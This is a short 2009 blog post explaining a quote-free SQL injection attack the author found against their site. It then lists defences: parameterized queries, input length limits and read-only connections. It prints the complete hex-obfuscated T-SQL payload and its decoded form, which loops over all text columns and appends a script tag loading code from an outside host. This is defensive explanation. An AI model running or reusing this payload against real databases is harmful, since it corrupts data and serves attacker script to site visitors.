Tech Talk

Prevent SQL Injection Attacks that have no quotes

Friday, July 24, 2009

I encountered an ingenious new-to-me SQL attack on one of my sites recently. One of the basic protections again SQL injection is to remove/replace single quotes. But what about when the malicious code doesn't have any? (Line breaks added)

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006_
300680061007200280032003500350029002C00400043002000760061007200630068006_
10072002800320035003500290020004400450043004C004100520045002000540061006_
2006C0065005F0043007500720073006F007200200043005500520053004F005200200046_
004F0052002000730065006C00650063007400200061002E006E0061006D0065002C006_
2002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006_
500630074007300200061002C0073007900730063006F006C0075006D006E00730020006_
200200077006800650072006500200061002E00690064003D0062002E006900640020006_
1006E006400200061002E00780074007900700065003D00270075002700200061006E006_
4002000280062002E00780074007900700065003D003900390020006F007200200062002_
E00780074007900700065003D003300350020006F007200200062002E007800740079007_
00065003D0032003300310020006F007200200062002E00780074007900700065003D003_
10036003700290020004F00500045004E0020005400610062006C0065005F00430075007_
20073006F00720020004600450054004300480020004E004500580054002000460052004_
F004D00200020005400610062006C0065005F0043007500720073006F007200200049004_
E0054004F002000400054002C004000430020005700480049004C0045002800400040004_
60045005400430048005F005300540041005400550053003D003000290020004200450047_
0049004E00200065007800650063002800270075007000640061007400650020005B00270_
02B00400054002B0027005D00200073006500740020005B0027002B00400043002B00270_
05D003D0072007400720069006D00280063006F006E00760065007200740028007600610_
0720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270_
027003C0073006300720069007000740020007300720063003D0068007400740070003A0_
02F002F006100300076002E006F00720067002F0078002E006A0073003E003C002F00730_
0630072006900700074003E0027002700270029004600450054004300480020004E004500_
580054002000460052004F004D00200020005400610062006C0065005F004300750072007_
3006F007200200049004E0054004F002000400054002C0040004300200045004E00440020_
0043004C004F005300450020005400610062006C0065005F0043007500720073006F00720_
020004400450041004C004C004F00430041005400450020005400610062006C0065005F00_
43007500720073006F007200 AS NVARCHAR(4000));
EXEC(@S);

The value inside translates to:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://a0v.org/x.js></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

So, use some more methods to fight:

• Use prepared, parameterized requests in your code, with forced data types
• Strip querystring/post parameters down to just the length you need
• Give read-only connection access to read-only statements

0 Comments